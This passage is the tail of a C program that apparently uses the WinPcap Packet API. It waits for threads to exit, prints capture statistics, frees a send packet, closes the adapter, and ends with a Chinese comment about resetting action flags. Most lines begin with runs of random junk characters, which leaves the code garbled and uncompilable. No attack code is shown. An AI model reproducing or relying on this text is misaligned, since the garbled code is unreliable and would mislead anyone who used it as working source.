; ?& q( X! N% v5 ^  //wait for any thread exit
5 L6 V  X; `; _  ]  WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE);
  //print the capture statistics
* y' ~% f* U7 K' N9 a' x/ D  if(PacketGetStats(g_lpAdapter, &amp;stat) == FALSE)
    printf("Warning: unable to get stats from the kernel!\n");
  else
) c  n+ ?" I' q5 D8 B% s    printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop);
  //free resource   
  PacketFreePacket(g_lpSendPacket);
4 o$ n$ p# E* x0 u3 H: |  PacketCloseAdapter(g_lpAdapter);
3 Y8 K% o6 P7 g3 }- W8 j  u  return 0;
" i: l6 G3 P6 B: E2 d# m}
; z; F% D  G9 F& z+ u6 b; P
* y7 _; {8 x$ I6 v6 a* `//
6 G. R- R4 X3 _  Q/ H$ N; Y//功能：重置所有于ACTION有关的标志
  L8 Q1 ]5 R9 x//